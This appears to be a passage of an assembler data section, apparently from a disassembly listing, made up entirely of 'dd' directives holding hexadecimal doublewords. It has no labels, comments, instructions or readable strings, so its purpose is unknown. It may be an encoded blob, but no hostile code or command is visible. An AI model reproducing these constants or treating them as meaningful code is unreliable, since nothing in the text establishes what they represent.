		dd 0C4305B6Ah, 5AB091ABh, 0C5C607C8h, 20FEA06Fh, 8A16C2DAh
		dd 0F5685CCDh, 590B13C7h, 5EF8130h, 9AC1BAB1h, 0D86E2FCCh
		dd 1B65FD67h, 16AAE1C1h, 809E34D8h, 0AF0F1C72h,	0D7295509h
		dd 0C80845Ah, 11A10501h, 7AE1C626h, 7032C0D0h, 1E00A4A2h
		dd 0F8577BF7h, 3EC97A4Fh, 328843E8h, 48C25B7Eh,	0FA66945Ch
		dd 57875E8Bh, 0B3D41291h, 69332032h, 7F5C0631h,	57E1F662h
		dd 722DBCC6h, 0EAB3596Ah, 9858359Bh, 0B75A85FDh, 0AB682E05h
		dd 997C45EBh, 0D150938Eh, 6B8415B9h, 7BE2C197h,	3A7B664Fh
		dd 0F65A8B54h, 86FC9214h, 2248F606h, 0B1408436h, 1A2F9E64h
		dd 0C8F495B5h, 0BFDEE9F0h, 0D3A0BF89h, 0BBF3F72h, 29CA07B5h
		dd 71EB603Fh, 90482B3Bh, 0C4964AABh, 0CDABBF1h,	0E2F4E909h
		dd 2514B47Dh, 2C5B3617h, 6912D79Fh, 8F7805E1h, 0AA904930h
		dd 809FB417h, 0B9244FB8h, 0A0214BF3h, 470FC5EDh, 0E7088856h
		dd 0F273F8F5h, 3E9E061h, 765D7C72h, 83AD029h, 0C23CF37Dh
		dd 4F3ABB26h, 50D8D92Bh, 17BACA20h, 0BC596855h,	4DBFC0E8h
		dd 244E055Eh, 480D7F7h,	812F3D10h, 38988CEDh, 68AD4E09h
		dd 0C66B1EC8h, 5A2D050Bh, 0A83DB236h, 5907406Eh, 8D6F39Dh
		dd 792729E7h, 0C00DB4DDh, 5F4168C9h, 76D2DA94h,	0BF7B00B0h
		dd 1EE8345h, 9366CDFFh,	81702913h, 9CC14DE9h, 0EB094F46h
		dd 0B801A625h, 0F9DD18EAh, 0B1BE3E7h, 43022C34h, 9312D885h
		dd 0EEECC108h, 7C0A7400h, 9056671Eh, 77A59D1Fh,	6531EE5Ah
		dd 0B022E9F6h, 2C072775h, 0C3465C51h, 5D234F9Ah, 6FE682E8h
		dd 124A34BEh, 909E9B84h, 2DEB9B3h, 4C26B52Ch, 5512D842h
		dd 0ACB1CD22h, 4109C55Fh, 4D508D68h, 5DF30AAh, 3F02479Dh
		dd 0EBFCEE2Ah, 8C3B7ECDh, 34AD55C6h, 0A648DBA7h, 0A58C2C2Bh
		dd 23A800F9h, 149FA20h,	7F01E2B9h, 93CA8957h, 74575969h
		dd 81032AECh, 0E22AE3E1h, 0D3AA860h, 0EC521A25h, 0B30A5EB4h
		dd 9DBF8053h, 26F952Ah,	6AD56568h, 15425E90h, 1F6CB77h
		dd 89781E0Ch, 0F9FE013Ah, 0A0844C6h, 0A5FEAA90h, 0F5019B76h
		dd 0FC307F90h, 7DBCEDFBh, 8134924h, 60AD889Eh, 0B215C3B0h
		dd 298E2013h, 0CB8F5C3Eh, 50A277F8h, 0E0D1AFA0h, 473E0A2Dh
		dd 0E614CB3Dh, 5AAB0047h, 91E944B3h, 201C9728h,	494ECEFCh
		dd 68C27FA9h, 18DD0DD9h, 0E6535621h, 4080907Eh,	8103423Dh
		dd 2829CCEAh, 0CEAE9CBEh, 4165133Bh, 4E06B1A3h,	3C26EF60h
		dd 0CBFAD97h, 18862421h, 0D6C3F7E9h, 5ADC041Ch,	0D00E9CDCh
		dd 81A2962Ch, 6653AC00h, 883CB450h, 5BA8E34Dh, 0A25AC48Eh
		dd 0F19610B4h, 9EEB881Ch, 0B64E4DD8h, 0FBE62B12h, 618BB24Ah
		dd 4B0F68CAh, 11E3CF88h, 0DA5F1B2Dh, 0CB5B7E5Dh, 0C2163E0Bh
		dd 8413CEBFh, 5DE324B5h, 948AC2ADh, 97C01CFFh, 2E66A919h
		dd 4C1095F2h, 272E757Dh, 818B5508h, 0AD5376EDh,	0A0254870h
		dd 20F76CCDh, 5C52B59Eh, 20424CA0h, 800F0933h, 0E173F01Fh
		dd 155C00EBh, 12069B78h, 0B889840Fh, 77E84A22h,	87EADDA1h
		dd 0EC9BE81h, 9470E49h,	8CCADE6Ah, 0C6164983h, 0BA3AD03Dh
		dd 0BE99729h, 0FEFCEA4h, 0D273CBD4h, 92D3FBAAh,	0C38715Fh
		dd 109C6B11h, 50CAF4E1h, 0A2F68B53h, 156F607h, 646047B4h
		dd 8A916A29h, 506C36E9h, 2FB0BC4Eh, 929F0558h, 0F13BC9A1h
		dd 0D0537FB9h, 0B800B2B6h, 568D42F7h, 0F1056857h, 5F273E71h
		dd 90E08F97h, 0A010E73Bh, 8B9A6BAFh, 0B6D3B4F8h, 70A0A34Ah
		dd 0D638F9C0h, 82540B92h, 48775B43h, 0A0909D2Eh, 66370A89h
		dd 266674D3h, 3B167DFh,	5134474Eh, 0EA096C16h, 957BF7A2h
		dd 0F77E82C2h, 0FC6AB11Bh, 0B6FD98FAh, 85C9CF5Ah, 53F3E42Bh
		dd 4B76BB01h, 57430860h, 25A280E2h, 0B832C20Ch,	647700BCh
		dd 0EE3107B6h, 0E64EC15Dh, 0EB7221BCh, 0B5F1BC15h, 9AE4888h
		dd 5D430745h, 3EC33942h, 3A00895Ah, 0B7D29842h,	5FF80131h
		dd 0D9165135h, 7A877F7Ch, 0FB95B083h, 0E4384BBDh, 0B3BBE15Eh
		dd 0D40ED889h, 3BEB51E9h, 0B1E82014h, 51E9C129h, 0A35E8F78h
		dd 18A04C02h, 0C1D9D976h, 0BEC612C3h, 5612836Dh, 6B9062F9h
		dd 0BDB0DCD8h, 0C19012ECh, 7DB49534h, 0F39FC0BEh, 0C83C65D2h
		dd 231CCF78h, 7D667B9Ah, 68840165h, 0C4EC127Dh,	0E92EE2DEh
		dd 5094D7DCh, 697807D4h, 0D1C36AB5h, 5E5026F4h,	51214272h
		dd 0A8F4254Eh, 17602B58h, 84095702h, 2F2FC58Bh,	9613E847h
		dd 46E87184h, 1C52596h,	0F0466321h, 0D818217Fh,	4E10A06Fh
		dd 0E326EB09h, 83CB16D8h, 9495E990h, 5990EB37h,	26E17818h
		dd 20715D79h, 0B8E92F07h, 0A836A89h, 0BBDD3094h, 5E846D2Ch
		dd 71BA8C39h, 0EFD59B60h, 5C4FC1EDh, 910BCD46h,	72F42177h
		dd 120BA62Ch, 6FDB5620h, 0EBF6282Bh, 12C6555Ah,	0C5A95F4Ah
		dd 74F3EF80h, 0E91619D1h, 62B91B31h, 5E6EB2D6h,	41F40109h
		dd 42B5B94h, 0C22DED21h, 0B5D3023h, 0B95A1656h,	1CD80A5Ah
		dd 0AB16BBFCh, 0C50A202Ah, 0F53E7156h, 82A21222h, 25EC2A29h
		dd 0C667BDF2h, 2C132117h, 5C8622EAh, 0E4068C41h, 0D3973E4Ah
		dd 0F8661682h, 37315AF7h, 6B33B2ACh, 0C920F44Ch, 0D9215E1Eh
		dd 777D9709h, 57EF5D31h, 7F8EE3B2h, 478F0A0Fh, 79D30640h
		dd 0BE83C2Dh, 0CDCDEE1Ah, 0B074647Dh, 0CA862FAEh, 6C427A51h
		dd 42702822h, 61C0C90Bh, 0C882E12Eh, 0F2BF5726h, 4AF10065h
		dd 0D08CF81h, 4AB55361h, 0D64B4041h, 0A40E2492h, 0AFBC1257h
		dd 63681F30h, 0F4B4B70Fh, 2B666815h, 8D2D18BDh,	4FEF2ADh
		dd 89647817h, 7C8FEBD3h, 27DC681Ch, 0AECC82D6h,	1A491964h
		dd 0C64F9E3Bh, 761FF1E1h, 7D8107C2h, 93D2348Dh,	73AE748Fh
		dd 0DE78A3F2h, 889B5477h, 3399993Eh, 0D9EE3883h, 20828240h
		dd 0FEF60802h, 0F59D8469h, 0D56B900h, 0BA516682h, 3EE5E1C3h
		dd 6281050Eh, 0FDBB723Fh, 63FBF286h, 470F1798h,	6B62BF0Ah
		dd 819A5C8Dh, 0A57EDDBAh, 0C8974075h, 4F5EEE0Fh, 6BE58D90h
		dd 4228301Eh, 4B1AA4B8h, 0C2011017h, 60EACC0Fh,	3196B7F8h
		dd 14E916D6h, 0A757A840h, 1C34A6C3h, 0C568566Fh, 310B5A6Ah
		dd 38ACA6Dh, 8B5C5909h,	9760FB51h, 213500A2h, 0B9515EF2h
		dd 7D35CE0Fh, 40EF80FEh, 0E9CA0173h, 0C8BFC680h, 0BBD2A381h
		dd 817ABCD2h, 41FEFC81h, 91DA42Ch, 28F72708h, 784C20ADh
		dd 4C834632h, 5F3EC04Eh, 9114F79Fh, 230B105Ah, 96FC4E46h
		dd 938CACAh, 3F448C57h,	0EF480FF0h, 79F892B5h, 0C8520B07h
		dd 5FF0E50Dh, 7C77DD9Dh, 86890834h, 0ADE15BECh,	0F0D7A9E0h
		dd 1A30064Ch, 110122ADh, 0CA46CF8h, 0F17D5869h,	935C5982h
		dd 740D54CDh, 0B33F7ED6h, 305136Ch, 0A6935EE2h,	85DC5CCAh
		dd 0AAB45BDFh, 0AC777F29h, 904198F7h, 4C060DCDh, 60A737F3h
		dd 0C48679C2h, 0C8DA318Ah
		dd 771C447h, 0B7BD734Eh, 0E0DEBA01h, 358CE9F6h,	27346D0Dh
		dd 62F50BE4h, 27917634h, 0A3218740h, 0C1F449Fh,	0C7FE91B7h
		dd 81623A34h, 0DDE7C01Ah, 16EA1C09h, 5D16E154h,	0C3A16DACh
		dd 7496216h, 1F566B0Fh,	57C438B2h, 7068C721h, 846A5522h
		dd 3F05A1CEh, 0D41104B2h, 25864CEAh, 62DA7692h,	8001A750h
		dd 0C3CC93E3h, 2506C4F3h, 0C704EA08h, 66057D30h, 0B31B95Ah
		dd 0C610E568h, 0EB8037A8h, 82026477h, 74090DD5h, 8CB5EB6h
		dd 0D6B23254h, 3B4CC260h, 4887E903h, 8C002DFFh,	3155D212h
		dd 66905AD7h, 50C5305h,	0BC860914h, 0FF770424h,	22917F5h
		dd 5F2298E9h, 4EAF0BE5h, 281D2873h, 0D8A19F14h,	7803A268h
		dd 44E9C467h, 0D3353DA8h, 5A6506BCh, 0F72CA276h, 0E21016DBh
		dd 1C57210Bh, 0F6820E29h, 0ACA9CE9Ah, 0A1A588E3h, 8708158Fh
		dd 0D151F7AEh, 0F6793A68h, 0D3EDDE6Bh, 0AAFE021Fh, 8D9E30EEh
		dd 83F5C72h, 8712C3B0h,	0C2F604AAh, 0A8C0EBDCh,	2548F52Dh
		dd 0EDD04262h, 61650782h, 629CFCA5h, 0D95029E9h, 0E8DFF728h
		dd 0F504CF79h, 5A870F47h, 97C4DA9h, 1F1084D7h, 9A259375h
		dd 14A957FAh, 38592620h, 292511EDh, 0A0D5517Ch,	655F5C0Ch
		dd 5ADA010h, 525AF730h,	0D41D4A82h, 758A49ACh, 0BA1EB0B0h
		dd 45253649h, 0CA92516Fh, 0C9FB1E15h, 7F064AEh,	7D5FD809h
		dd 0B20B5D7Ah, 95EBE100h, 7794E4B4h, 38044317h,	0FB13D78Eh
		dd 55660D22h, 68851417h, 0A04418E9h, 0A8A9D96Ah, 0E9E12D88h
		dd 0A448FE2Bh, 7201F299h, 8163BA57h, 922A5A08h,	1564DD9Eh
		dd 0E564ED03h, 0E14DB0AFh, 0B3887AE4h, 91262C4Fh, 0BF0B9C02h
		dd 117D3269h, 18254E8Bh, 0B0069230h, 45AC1CDBh,	0D52985FAh
		dd 8BE7145Ah, 0BA74E80Fh, 1E3CE9A2h, 0A0CFAC0Fh, 0AA071FF0h
		dd 0D5554943h, 0FEDF8625h, 9A3C9900h, 0B29ABA9h, 10D8E9F9h
		dd 45CF6DFCh, 0A4534222h, 4FBCCCE0h, 5DC9ACh, 856DEEDEh
		dd 5D13544Eh, 0CB022AAh, 4FAB32Eh, 43B7B7h, 0A027F435h
		dd 0C083171Fh, 0EE0E001h, 9B5B7540h, 6BD42736h,	5CB70F78h
		dd 0A6712FC8h, 63E919F3h, 88B24674h, 2C2FBC72h,	0DDDF1811h
		dd 98F01FB8h, 32F0A5Ch,	23AE11C6h, 26E0BCE9h, 87589DC0h
		dd 663AD02Dh, 301A26C2h, 256F24A8h, 0F904C66h, 5E545613h
		dd 30703DFEh, 2B963F12h, 3EB3E48Dh, 8BC0F22Ah, 7D4C4921h
		dd 0FB3B18FFh, 0DBBA2E73h, 911BC77Ch, 50E8D129h, 13A3489Fh
		dd 0AA435F3Eh, 0A4B27744h, 2BF9BF00h, 48F46E7Fh, 0A0544B97h
		dd 765C463Eh, 0EFE7034Eh, 4F03167Ch, 0E424A04h,	0D806801h
		dd 275F0BE9h, 42DE2187h, 970A3F83h, 9EC9F809h, 4C7E3E5Ah
		dd 1F91E102h, 6B5870D4h, 8439F1FEh, 29A00F2Bh, 0B67544CFh
		dd 0C1819CBFh, 5A0B24F4h, 88D90126h, 5B120850h,	0E090A0A2h
		dd 4E419710h, 0B5D6258Ah, 7E73D5E6h, 157DE0CEh,	0B82CD366h
		dd 0DC734812h, 0B84850E9h, 6D4B13E3h, 1D3091A0h, 42400E5Ch
		dd 52A6A3B5h, 0C40CC65Dh, 0FC0A99A4h, 11E4D359h, 61C960B3h
		dd 84132CF5h, 0D407E29Ah, 21357267h, 0F8C8E9C1h, 4AC2696h
		dd 177C3D32h, 0D820AAC1h, 4DEDC204h, 6A60AE3h, 388185Eh
		dd 0B18F4E66h, 4B002B4Fh, 0A62C0DB6h, 4F03A28h,	3EF97Dh
		dd 6467B9A4h, 0E0A06B94h, 0BE091C92h, 0C323E957h, 72BFA962h
		dd 23C40AB5h, 155EB54Bh, 8753134Bh, 9081C79h, 0E8D6895Ah
		dd 1DE3BF01h, 2A203835h, 0A7D11656h, 690FE8F9h,	6E097506h
		dd 26A1AC46h, 3C1ECB47h, 3F4231CDh, 0FC9D71E9h,	262D8BE4h
		dd 0FD29FC03h, 882EDC2h, 1E42EF87h, 0BB010B56h,	7DA2197h
		dd 9432CBE8h, 6AF9505Ah, 53307100h, 403E5E68h, 4FD3A44Dh
		dd 59900B4h, 3F6D395Bh,	58C3311Ch, 0A208D8D7h, 9DFA202Eh
		dd 6B6F7251h, 52304C02h, 18169D30h, 17D4F3FEh, 122D0BF4h
		dd 4AA136A8h, 0E4D3E836h, 5ACB8F00h, 5A2949C0h,	3958AF8h
		dd 8042442Dh, 2A4EA854h, 27FE90C7h, 0E9EE7470h,	870C8365h
		dd 0AC0B64BBh, 1E9C645h, 9D8B5A39h, 38B9F937h, 6DF64BF6h
		dd 75A9680Ch, 45595923h, 45B0ECAh, 28494117h, 51D02CD8h
		dd 3FB37A53h, 7FF9DD88h, 7F347F19h, 2870E9E8h, 60E56BE1h
		dd 833A9E56h, 5615551h,	0C88DDB07h, 0B558C689h,	0E0ED3563h
		dd 79282E57h, 4195EC88h, 0CA3B0544h, 18D25E9Ch,	0F38CEB0Dh
		dd 51C880E5h, 80A90EB5h, 0F5663FCDh, 595C8E5Ah,	0B1AE200Fh
		dd 187D0091h, 4C293E30h, 0FB0C828Ch, 0C6E905A5h, 354FAA06h
		dd 40E60655h, 0FCAB8099h, 9A2DF61h, 0A27ABFC0h,	23D28D15h
		dd 282007E9h, 88B2546Fh, 5F2F5A74h, 799CB4E8h, 0D1613B66h
		dd 850F2764h, 0C600FBA9h, 4A1C71DDh, 59CA8902h,	5554372Ch
		dd 1F990A13h, 967F7297h, 0C1A4B2F8h, 2C0EFFDh, 2011DF5Ch
		dd 0FB91AC19h, 461B428Bh, 5B0A95F7h, 7236E21Dh,	30D60909h
		dd 9D85CC92h, 8EF0E2E4h, 0FE70095h, 9A96AB89h, 0D972254Ch
		dd 33C6A9D1h, 96E97151h, 0FA5B124Ah, 0CEB82B60h, 3AA72E54h
		dd 1F2D803Ch, 31F7210Eh, 9E30C64Eh, 8037E3E9h, 81EEE688h
		dd 30B3105Eh, 0B124F893h, 0EA0490B0h, 0FA2E911Ch, 9655F646h
		dd 52801E3Ah, 0C4D6B97Fh, 5DBF7D3Bh, 0FC5CEDB1h, 2164F5A9h
		dd 7C48D181h, 1C477207h, 0D88BD282h, 57EB8102h,	0AC038EAh
		dd 82826FF0h, 0DBD86E23h, 5DE985C1h, 0DFCC4ECBh, 0CD0F32E4h
		dd 2A12C514h, 5203DECAh, 0E6893BAh, 0D2EAC0CFh,	24DDDD0Bh
		dd 4D2CE380h, 1FBB5344h, 17E42FDAh, 16CA8131h, 9C217B12h
		dd 986A5455h, 0A85AE9C7h, 0E62FECE1h, 267A6352h, 63722768h
		dd 0BE1A7818h, 3EAD180h, 6492E281h, 0C7E9014Ah,	65039E6h
		dd 56D15BBCh, 219C0CA0h, 0E10C709Ah, 1C270112h,	5AE2B190h
		dd 0CC287138h, 0F2240712h, 0FC4A2412h, 0A3AF40BBh, 29725E46h
		dd 1C55E9F0h, 41843AF2h, 5C2C6082h, 0AC6E25E5h,	7FA2DB80h
		dd 55610EAAh, 0CE04042Ah, 0AA52C15Ch, 0FFA9A475h, 5EC06625h
		dd 165BBE68h, 91FE8B8Ch, 705F1E0Eh, 20685B5Fh, 77646D5Bh
		dd 6D1AA80h, 51300CBDh,	310DD5B9h, 7159C82Ch, 40C1E90Bh
		dd 0F870B8E3h, 0BA624C5Eh, 14D5497Ch, 3C85BE03h, 3FD16ADFh
		dd 0E31587ADh, 7C3B72CFh, 4EF62550h, 9EF4888h, 85E8D7F7h
		dd 1A4D8F8Ah, 0ADE70285h, 41633150h, 392C9F99h,	0E3A5E93Ah
		dd 14ECE571h, 0A54F1D9Fh, 1DC38047h, 2918350Bh,	4595EB58h
		dd 2E3C6108h, 978929CCh, 0E7ECDD44h, 2C3FBABAh,	52C52CFBh
		dd 8BD0592Fh, 0DCC3D6E9h, 0F97EA3AAh, 8D9E8628h, 5255A072h
		dd 3116DA61h, 290B5635h, 4C3D2EC7h, 0E909B939h,	125F0E3Ah
		dd 4C60D720h, 6EE04DEFh, 0F6C4F095h, 21C402C7h,	0C1835EF1h
		dd 0F770F268h, 2985150Bh, 1A5A04CFh, 0B82616BFh, 0C105B5F4h
		dd 9DB46DD0h, 1808682Ah, 720418CCh, 0E3203078h,	11731F27h
		dd 24746D31h, 8E49DBAh,	54B11996h, 7F027942h, 0C694C8EEh
		dd 57DFD439h, 0B4881190h, 65EEEC0h, 144A30F7h, 5C10D8B1h
		dd 0EF8002BAh, 0D7862CC2h, 5B8BBE0Eh, 0D689B25Fh, 6AB562EEh
		dd 8864DBC0h, 0B1D3EE4Ch, 0C57BF028h, 84D4F8C4h, 0D5B50EF1h
		dd 0EC21F52Ah, 24958BD2h, 1FAAA87h, 80D6F63Fh, 569A60EEh
		dd 0EF373660h, 7B130FA9h, 0D2B2F07h, 92BDF0FBh,	16B4B1BFh
		dd 0B3025EC5h, 1EE9C4C8h, 0DCEA09D4h, 2E801CC2h, 2DA29719h
		dd 0EE20C478h, 0E5F73F73h, 1B8813Eh, 8B616FCDh,	0A32BE6D1h
		dd 0EF3E1767h, 0F10DE835h
		dd 0B6F8CD20h, 0E64B4839h, 0FE325C13h, 8CC77324h, 51A6A2D9h
		dd 6659039Eh, 0CFFC1E4Bh, 0EA028A9Fh, 685181F6h, 2A160475h
		dd 0FED9A6E0h, 0F0719A92h, 47101D05h, 0C8290528h, 5B07142Dh
		dd 6BC17838h, 91456AA3h, 9478916Eh, 838A7E12h, 302DF546h
		dd 8439087Eh, 2375E926h, 182CAEA3h, 57F6A77Dh, 22EC3F44h
		dd 1F2BB925h, 5D03F5F0h, 113C9A2Dh, 7F70A824h, 1290ADBh
		dd 280705F0h, 13375E6Ch, 0F4E7E8FBh, 79CA61AFh,	4A753E26h
		dd 0F602C2CDh, 82AF0E18h, 0FF40BD9Ah, 5807C301h, 7B632D5Fh
		dd 7E056A10h, 0F4C07716h, 0E84E1D29h, 28D81F2Eh, 1140F907h
		dd 120EBD55h, 0B03B937Ah, 693CE58Ah, 631AC04h, 0EC88FD00h
		dd 4AC52995h, 3A33B858h, 0E9D80A5Bh, 76BCED5Ah,	287EF4A2h
		dd 28FE536Fh, 0F452E9E0h, 0C2E20384h, 0D971C146h, 178025D9h
		dd 5616D1EBh, 6805505Ch, 2E8A2D48h, 0F93F5FC1h,	2269B800h
		dd 404F9917h, 0E956A08h, 6AFE565Ah, 0FCEBE08Ch,	50659A99h
		dd 951CC75Fh, 74FB6789h, 34BB50C4h, 0AAAC12B9h,	5B66683Ch
		dd 37118185h, 20AD056Bh, 0C9D3E396h, 2A9BC466h,	0B79A21DDh
		dd 59C28080h, 5E60D342h, 29573F0Ch, 0DA012C21h,	0D00820FAh
		dd 5B26140Ch, 2910CBB0h, 0AD27E950h, 37EF5BAFh,	0E4E6361Ch
		dd 0E45F0A09h, 30D40475h, 73574416h, 0E18BEAB4h, 0A5E8CD5Ah
		dd 8999716Dh, 0A452C181h, 12EB0148h, 0D9E9F24Fh, 5B8888D0h
		dd 5370A0C9h, 9F90AEE9h, 0F8592524h, 0DC5AB17Ch, 0EB28F750h
		dd 95F2E480h, 0E927A6CCh, 0F8798925h, 434E0FE9h, 0AF842A68h
		dd 10EEA9ABh, 0B04EF59Ah, 0DF982130h, 0A5CE9E2Dh, 2FD6AC0h
		dd 1A60BFD2h, 1D1FDCC3h, 0AE296DA1h, 2F082093h,	0FED09BE9h
		dd 6F6FF3B5h, 23599CA9h, 9AAC5293h, 3EEED31Fh, 0CD5EB3DBh
		dd 8B609B02h, 0ED6E1EACh, 0BC7EFD31h, 7FFE80FDh, 0F329FFF4h
		dd 24166C9Fh, 63D07CCEh, 0BFF4478Fh, 655C433Dh,	0F1D24C31h
		dd 0F0D8220h, 8988F289h, 3A9F20F0h, 47970343h, 5BE522DAh
		dd 0EC25B14Dh, 0BFE5306Ah, 376ECD4Bh, 0E1276F27h, 0B7610FEFh
		dd 90526F34h, 0F6EC3C5Ah, 0C2897785h, 7A71E158h, 0BE135112h
		dd 52008A8Bh, 0C351A5BAh, 0D435E94Ch, 1EFF6CDDh, 97BC0CB2h
		dd 2BF4EF7Dh, 0A02E0B2Fh, 854A994h, 0B8E4FD52h,	9DAAE05Dh
		dd 3A4FFF0h, 0B14364BFh, 9E9622Ah, 62C0FFEh, 7C44D2CCh
		dd 2E3EFBECh, 0B4BA2ABCh, 1F8F0F13h, 61BB7552h,	0E16162h
		dd 4B68F70Ch, 0DE32E8CDh, 5F10E20Fh, 0C39D0ADh,	53951A46h
		dd 144EA44Eh, 0D08193A5h, 2EDC15Dh, 0A823E5E9h,	0CC9F6E7Fh
		dd 0FCB33BEFh, 0F380CB80h, 7CE95181h, 0BD047E9Ah, 79F62BA5h
		dd 36804FEh, 72CAFF9Bh,	0AFE1E42Eh, 0EF0F59F3h,	3859EE1Eh
		dd 0E4FEAFDCh, 91E9137Ah, 4F9BA2ACh, 68C2EAE7h,	7F901F43h
		dd 0BE6630h, 2F03214Ah,	0B71DD74Ah, 0D65414F2h,	41C7604Dh
		dd 295F2C9Fh, 13D27021h, 6A009D6Eh, 0A24ED19Eh,	8A9D33Bh
		dd 3739FF86h, 5DBBE109h, 0E9AF820h, 499F6FC8h, 8345AFD2h
		dd 0F92CA4DFh, 89AC5ACFh, 0DEDD60AFh, 0BBED27C5h, 7F2DA30Fh
		dd 0ACA878D7h, 0E1FA37C9h, 64B008B8h, 2AEDF0ECh, 0AB8A6080h
		dd 2D809AE0h, 99EC132Fh, 4BEE8101h, 1068B60h, 804FE75h
		dd 7A12BDC4h, 0FE20D109h, 3CA371D9h, 0C1800EDAh, 0BED10EA7h
		dd 2C5A8EFAh, 0C874A52Bh, 0A0F4D08Dh, 0EAE9CEF7h, 3008D5ADh
		dd 7A00337Dh, 2B05CA73h, 9053A469h, 5FD50AF3h, 1090433Fh
		dd 0B312DFBh, 67CB0C2h,	0EAA1C008h, 93E1DD3h, 705A4A7Ch
		dd 39EF3D13h, 0F18B2A3Fh, 1AEEEA27h, 515625AAh,	0E9F7226Fh
		dd 0E817075h, 0D527B4BBh, 4469961Eh, 0AED35C76h, 0AF67CF48h
		dd 0ADC401D9h, 0C69988FFh, 58435B07h, 0CF6A2974h, 73A00820h
		dd 7A0017CEh, 3FE32504h, 0E3505F8h, 6E0F3C68h, 20D857C0h
		dd 0C65C01C3h, 0E35A10ACh, 0E02BE174h, 7F5E03D6h, 45AD0A75h
		dd 0B8A1EC5Bh, 689537E9h, 33DCE145h, 1DCC662h, 0AABE57CBh
		dd 222FD984h, 0D851AAh,	28F66857h, 5F5A52E4h, 470BE5ACh
		dd 9D286DE9h, 0C2F9C7DDh, 0F5CAE2BDh, 180B8777h, 0E316550Bh
		dd 509590FAh, 3DF5B343h, 8050FEAFh, 904D72ACh, 3A2E7F6Eh
		dd 72EEB266h, 3AF63DFAh, 4F6FF800h, 5FE969F7h, 1EFC537Fh
		dd 5EE96FCh, 0BEC041A2h, 3E608ACEh, 76911E70h, 0A99081B2h
		dd 0C7A5D62Dh, 2D4276Ch, 0C8528C02h, 42625D3Fh,	589DB378h
		dd 0FFE0A0B4h, 0D2F73416h, 86C80004h, 0E9A7EDE2h, 54175F25h
		dd 800F5803h, 0D49A982Dh, 0E6EC7668h, 0D13CD801h, 0AF8FE97Dh
		dd 0DBC6E380h, 0F70392Fh, 608C27h, 4DE94E94h, 0AE4EBD27h
		dd 0F38BF297h, 0CCE91384h, 0AD38AAE7h, 7CE82568h, 5DE498F1h
		dd 0CD2D4FA8h, 0E9178FF0h, 0C85FCC5Eh, 8A2B947Bh, 9B1287CDh
		dd 12FF9015h, 224419F0h, 10926247h, 211F6539h, 44E612D8h
		dd 0A04149EBh, 4B128440h, 80B116D4h, 7C11E200h,	5C016961h
		dd 3DBFDD21h, 13B13818h, 4BB29FADh, 80685305h, 26D2503h
		dd 5D14DC44h, 76E8B880h, 8BB54763h, 91554FBh, 10FD5C31h
		dd 5A38E953h, 0C22DBCB2h, 0DFEA806Dh, 8157B009h, 0D528C8B2h
		dd 0EDC110BAh, 4A08835Ah, 9F07E5C0h, 7C2003D6h,	97F50501h
		dd 0F059E830h, 0C3FA89D6h, 0B450B90Eh, 39F4CE6Fh, 0E3C1A012h
		dd 0DBC4B13Fh, 3F61EBE1h, 0E1D761F5h, 25705859h, 8E0F0A71h
		dd 89AA0C22h, 0B95BC414h, 49B4D4A5h, 3C20AEE0h,	972CDA12h
		dd 45B611F0h, 6FC765A3h, 0BBC03BB3h, 7AE655A7h,	39C18102h
		dd 804E1A4Bh, 611C08F5h, 50CC102h, 2E4C8241h, 8C1400Ah
		dd 14240C34h, 79FA2013h, 0AB4B3BCDh, 1DEA0457h,	29C764EDh
		dd 0D565D5F1h, 8D80ABC9h, 3EC83118h, 7A985696h,	4B2CDCD3h
		dd 28CF3416h, 40D91AB0h, 3E9229EDh, 5CCD45Ah, 5F9B402Ch
		dd 0F1C82925h, 17936AD1h, 6C82366Bh, 52319825h,	5D82DCBh
		dd 0F97B2CDEh, 60A063BCh, 0B846B70Ah, 30D83139h, 0F06808C3h
		dd 42669773h, 0F637FC09h, 48018101h, 40EE2D08h,	9FEB4701h
		dd 0B120B994h, 2C5B7688h, 524D92A9h, 0BA2CAC84h, 0FCB52F77h
		dd 76F94194h, 924394F7h, 4B57B83Dh, 0EB50D182h,	49D36038h
		dd 0F45AD4D2h, 9AF6DF4Bh, 9DAC513Fh, 2DADA607h,	5EBA1398h
		dd 5D952717h, 585A9E06h, 202598E0h, 212EE1E7h, 69CB54C8h
		dd 0FD57CDE8h, 68287720h, 6046BD9Ah, 781427F0h,	25D760EEh
		dd 0B2D70255h, 0AD07D51Bh, 0D4EA07D0h, 0B9F1E061h, 0CD48102Ch
		dd 32176A2Ah, 77001753h, 230D4A44h, 0ED9CA14Fh,	0A001806h
		dd 81223C35h, 7837AFF7h, 0C3295AEAh, 13D4A265h,	0DB18CDACh
		dd 68560E8Eh, 40009272h, 0EEC15E24h, 4E8B0F08h,	0FA2FC43Eh
		dd 0DC8DC271h, 0B2E6946Fh, 0BAE90987h, 73C2E415h, 0BCF70B81h
		dd 0BD80CFB5h, 5E964F86h, 0C2148D9Eh, 0EE294E08h, 0E981CC2Fh
		dd 209EBE24h, 810A2F58h, 7C59D855h, 0FFE11A9Dh,	0D2588F12h
		dd 6A5F32A0h, 0D102C707h, 0A7E4E9E1h, 0F254AFCCh, 0BFA9BA1Dh
		dd 62273968h, 165DE6F1h, 0E27C2514h, 0A5DFD41Ah, 2AC85E92h
		dd 0CD719D66h, 2250214h, 0CB5598F3h, 1A52E148h,	0A6DBB00h
		dd 890EF40Bh, 817445DDh, 5E8C0BEDh, 0E9887BD8h,	0CB320E9h
		dd 0A6E8312Ch, 0A10B5Ah, 0BD491C07h, 0E3E816A2h, 77830DB6h
		dd 0E189292Bh, 332B2C87h, 0B947AE6h, 0C30A05B5h, 16EB3981h
		dd 0B05098C3h, 0BFE7A0Ah, 0E02CD0F6h, 0D55293D7h, 0F3061987h
		dd 5AA0050Eh, 0D0BB01E9h
		dd 56778645h, 0E85B022Eh, 0F806693Ah, 0F32F20AAh, 94D5E92Ah
		dd 46FB050Bh, 0F9260B98h, 806B8B8Bh, 0E8C2E79Bh, 0C8255EAh
		dd 3051B1C8h, 2315844Ah, 57E55E9Fh, 0D354BFE5h,	8B23C5FAh
		dd 22BA2AE5h, 0FE99EAB5h, 0DC5125D2h, 0A70CE985h, 502EEECFh
		dd 5EF1070Dh, 5BF55AD2h, 9D693BF1h, 5A602547h, 0D713A833h
		dd 7F68478Ch, 0FF7B4873h, 58635410h, 26D5A2Fh, 0E32DF896h
		dd 62ED0741h, 3AD240B5h, 0A8BDF6FCh, 6E1838DDh,	0EB029F58h
		dd 56CC3297h, 59CFA548h, 0CC73BE26h, 0DF0DCB1Ah, 88931982h
		dd 48FA8702h, 0E7127CF9h, 28CDFE60h, 25BE7463h,	2371777Dh
		dd 93B1A393h, 2230DC59h, 0B8C64A09h, 2D58E15Ah,	5051906Fh
